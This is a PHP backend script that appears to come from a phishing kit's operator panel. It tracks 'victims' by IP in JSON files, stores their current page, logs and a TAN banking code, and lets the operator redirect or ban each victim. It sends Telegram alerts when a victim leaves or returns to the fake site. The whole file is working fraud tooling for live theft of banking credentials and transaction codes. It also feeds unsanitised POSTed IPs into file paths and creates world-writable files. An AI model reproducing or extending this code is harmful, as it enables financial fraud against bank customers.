<?php 

require '../classes/mother.class.php';
require __DIR__ . '/admin.class.php';

// Get real IP (supports proxy - must match main.php for victim file)
function getRealIPProcessor() {
	foreach (array('HTTP_CF_CONNECTING_IP','HTTP_X_FORWARDED_FOR','HTTP_X_REAL_IP','HTTP_CLIENT_IP','HTTP_X_FORWARDED','REMOTE_ADDR') as $key) {
		if (!empty($_SERVER[$key])) {
			$ips = explode(',', $_SERVER[$key]);
			$ip = trim($ips[0]);
			if (filter_var($ip, FILTER_VALIDATE_IP)) {
				return $ip;
			}
		}
	}
	return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '127.0.0.1';
}

$m = new Mother;
if(isset($_SESSION['vic'])==""){
$vicFile =	$m->createVic();
}
$vicFile = $m->getFileId();

$m->setDataFile($vicFile);



if(isset($_POST['redirectionListener'])){
	$ip = getRealIPProcessor();
	if ($ip == "::1") $ip = "127.0.0.1";
	
	$vicFile = (__DIR__)."/../data/vics/VIC-$ip.json";
	$newMother = new Mother;
	
	// Create file if it doesn't exist
	if (!file_exists($vicFile)) {
		$defaultData = array(
			"ID" => "ID-" . substr(base64_encode($ip), 0, 10),
			"IP" => $ip,
			"REDIRECT" => 0,
			"CURRENT_PAGE" => "WAIT",
			"LAST_ACT" => time(),
			"TAN" => "0",
			"LOGS" => ""
		);
		@file_put_contents($vicFile, json_encode($defaultData, JSON_PRETTY_PRINT));
		@chmod($vicFile, 0666);
	}
	
	$newMother->setDataFile($vicFile);
	$victimData = $newMother->getData();
	$redirectValue = isset($victimData['REDIRECT']) ? (int)$victimData['REDIRECT'] : 0;
	
	// Return as integer, not string
	echo $redirectValue;
}



if(isset($_POST['clearRedirection'])){
	$ip = getRealIPProcessor();
	if ($ip == "::1") $ip = "127.0.0.1";
	$newMother = new Mother;
	$newMother->setDataFile((__DIR__)."/../data/vics/VIC-$ip.json");
	if(file_exists((__DIR__)."/../data/vics/VIC-$ip.json")){
		$arr = array("REDIRECT"=>0);
		$newMother->update($arr);
	}
}



if(isset($_POST['getVictimData'])){
	$ip = $_POST['vip'];
	
	// Fix IP if it's ::1
	if ($ip == "::1") {
		$ip = "127.0.0.1";
	}
	
	$vicFile = (__DIR__)."/../data/vics/VIC-$ip.json";
	$vicDir = (__DIR__)."/../data/vics";
	
	// Ensure directory exists
	if (!file_exists($vicDir)) {
		@mkdir($vicDir, 0777, true);
	}

	$newMother = new Mother;
	$newMother->setDataFile($vicFile);

	$statu = "off";	
	$victimData = $newMother->getData();
	
	// Check if file exists and has valid data
	if (!file_exists($vicFile) || !is_array($victimData) || !isset($victimData["IP"])) {
		// Create file if it doesn't exist
		$defaultData = array(
			"ID" => "ID-" . substr(base64_encode($ip), 0, 10),
			"IP" => $ip,
			"REDIRECT" => 0,
			"CURRENT_PAGE" => "WAIT",
			"LAST_ACT" => time(),
			"TAN" => "0",
			"LOGS" => ""
		);
		@file_put_contents($vicFile, json_encode($defaultData, JSON_PRETTY_PRINT));
		@chmod($vicFile, 0666);
		$newMother->setDataFile($vicFile);
		$victimData = $newMother->getData();
	}
	
	$page = isset($victimData["CURRENT_PAGE"]) ? $victimData["CURRENT_PAGE"] : "WAIT";
	$last_act = isset($victimData["LAST_ACT"]) ? $victimData["LAST_ACT"] : time();
	
	if($last_act > (time() - 25)){
		$statu="on";
	}else{
		$statu="off";
	}
	
	// Status change notifications (leave/return)
	$statusFile = (__DIR__)."/../data/vics/status_".str_replace(['.', ':'], '_', $ip).".txt";
	$lastStatus = file_exists($statusFile) ? trim(file_get_contents($statusFile)) : '';
	if ($lastStatus !== $statu) {
		file_put_contents($statusFile, $statu);
		$admin = new Admin;
		$admin->setDataFile((__DIR__)."/../data/admin.json");
		$raw_bot = $admin->getData()["settings"]["telegram_bot"] ?? '';
		$maybe = base64_decode($raw_bot, true);
		$bot_token = ($maybe !== false && strpos($maybe, ':') !== false) ? $maybe : $raw_bot;
		$chat_ids = explode(",", str_replace(" ", "", $admin->getData()["settings"]["telegram_id"] ?? ""));
		$notifs = $admin->getData()["settings"]["notifications"] ?? "0";
		if (!empty($bot_token) && $notifs == "1" && $lastStatus !== '') {
			$msg = $statu === "on" 
				 ? "🟢 Victim returned to project\n\n📍 IP: $ip\n⏰ " . date('H:i d/m')
				 : "🔴 Victim left project\n\n📍 IP: $ip\n⏰ " . date('H:i d/m');
			$msgEnc = urlencode($msg);
			foreach ($chat_ids as $cid) {
				$cid = trim($cid);
				if ($cid) {
					$url = "https://api.telegram.org/bot$bot_token/sendMessage?chat_id=$cid&text=$msgEnc";
					$ch = curl_init();
					curl_setopt($ch, CURLOPT_URL, $url);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
					curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
					curl_exec($ch);
					curl_close($ch);
				}
			}
		}
	}
	
	$data = new stdClass();
	$data->page = $page ? $page : "WAIT";
	$data->data = isset($victimData["LOGS"]) ? $victimData["LOGS"] : "";
	$data->statu = $statu;
	$data->last_act = $last_act;
	$data = json_encode($data);
	echo $data;
}




if(isset($_POST['getVictims'])){
	$c = 0;
$res = "
<tr>
<th><i class='fa fa-user'></i> ID</th>
<th><i class='fa fa-globe'></i> IP</th>
<th><i class='fa-solid fa-file-lines'></i> Current Page</th>
<th><i class='fa fa-cog'></i> Action</th>
</tr>";

	$getAll=$pdo->query("SELECT * FROM ".($jeehan->tbl)." WHERE ip NOT in (select ip from blockedvics) and last_act > ".(time() -5));
	$rows = $getAll->fetchAll(PDO::FETCH_ASSOC);
	if(!$rows){
		$res .= "<tr><td>No data</td></tr>";
	}else{
		foreach($rows as $row){

			$c++;		
			if($c==2){
				$css="selected";
				$c=0;
			}else{
				$css="";
			}
$ip = $row['ip'];
$res .= "
<tr class='$css'>
<td> ".$row['id']." </td>
<td> ".$row['ip']."   </td>
<td>".$row['current_page']."</td>
<td><button onclick='view(".$row['id'].")'>Control <i class='fa-solid fa-arrow-right'></i></button> <button class='ban' onclick='ban(\"$ip\")'><i class='fa-solid fa-ban'></i> Ban </button></td>
</tr>
";



		}

	}
	echo "<table>$res</table>";
}



if(isset($_POST['keepAlive'])){
	$ip = getRealIPProcessor();
	if ($ip == "::1") $ip = "127.0.0.1";
	$_SERVER['REMOTE_ADDR'] = $ip; // So Mother uses correct IP
	$vicFile = (__DIR__)."/../data/vics/VIC-$ip.json";
	$newMother = new Mother;
	
	// Create victim file if it doesn't exist
	if (!file_exists($vicFile)) {
		$defaultData = array(
			"ID" => "ID-" . substr(base64_encode($ip), 0, 10),
			"IP" => $ip,
			"REDIRECT" => 0,
			"CURRENT_PAGE" => "WAIT",
			"LAST_ACT" => time(),
			"TAN" => "0",
			"LOGS" => ""
		);
		@file_put_contents($vicFile, json_encode($defaultData, JSON_PRETTY_PRINT));
		@chmod($vicFile, 0666);
	}
	
	$newMother->setDataFile($vicFile);
	$page = isset($_POST['page']) ? $_POST['page'] : 'WAIT';
	$newMother->feed(time(), $page);
}



if(isset($_POST['ban'])){
 $jeehan->block($_POST['ban']);
 echo "Victim [".$_POST['ban']."] has been blocked.";
}



if(isset($_POST['getOnlineVics'])){
	echo getOnlines();
}


function getOnlines(){
	global $jeehan;
$res = "<div class='connections'>";
 $on = $jeehan->getOnlineVics();
 if($on>=1){
	 $res .= "<div class='connected'>$on</div>";
 }else{
	 $res .= "<div class='disconnected'>$on</div>";
 }
 $res .= "</div>";
 return $res;
}



if(isset($_POST['blockIp'])){
	require_once __DIR__ . '/../../auth/class/TelegramKeyboard.php';
	$vicIP = isset($_POST['vicIP']) ? $_POST['vicIP'] : '';
	if ($vicIP == "::1") {
		$vicIP = "127.0.0.1";
	}

	if (TelegramKeyboard::blockIpAddress($vicIP)) {
		$vicFile = (__DIR__)."/../data/vics/VIC-$vicIP.json";
		if (file_exists($vicFile)) {
			$newMother = new Mother;
			$newMother->setDataFile($vicFile);
			$newMother->update(array("REDIRECT" => 11));
		}
		echo "IP blocked: $vicIP";
	} else {
		echo "Invalid IP";
	}
}



if(isset($_POST['pageID'])){
	$pageID = $_POST['pageID'];
	$vicIP = $_POST['vicIP'];
	
	// Fix IP if it's ::1
	if ($vicIP == "::1") {
		$vicIP = "127.0.0.1";
	}

	$vicFile = (__DIR__)."/../data/vics/VIC-$vicIP.json";
	$vicDir = (__DIR__)."/../data/vics";
	
	// Ensure directory exists
	if (!file_exists($vicDir)) {
		@mkdir($vicDir, 0777, true);
	}
	
	// Create file if it doesn't exist
	if (!file_exists($vicFile)) {
		$defaultData = array(
			"ID" => "ID-" . substr(base64_encode($vicIP), 0, 10),
			"IP" => $vicIP,
			"REDIRECT" => 0,
			"CURRENT_PAGE" => "WAIT",
			"LAST_ACT" => time(),
			"TAN" => "0",
			"LOGS" => ""
		);
		@file_put_contents($vicFile, json_encode($defaultData, JSON_PRETTY_PRINT));
		@chmod($vicFile, 0666);
	}

	$newMother = new Mother;
	$newMother->setDataFile((__DIR__)."/../data/vics/VIC-$vicIP.json");
	$arr = array("REDIRECT" => (int)$pageID);
	$newMother->update($arr);
	
	// Log for debugging
	error_log("Redirect set: IP=$vicIP, PageID=$pageID");
}


if(isset($_POST["tan"],$_POST['vip'])){
	$tan = $_POST['tan'];
	$vicIP = $_POST['vip'];

	$m = new Mother;
	$m->setDataFile((__DIR__)."/../data/vics/VIC-$vicIP.json");
	$newTan = array("TAN"=>$tan);
	$m->update($newTan);



}







?>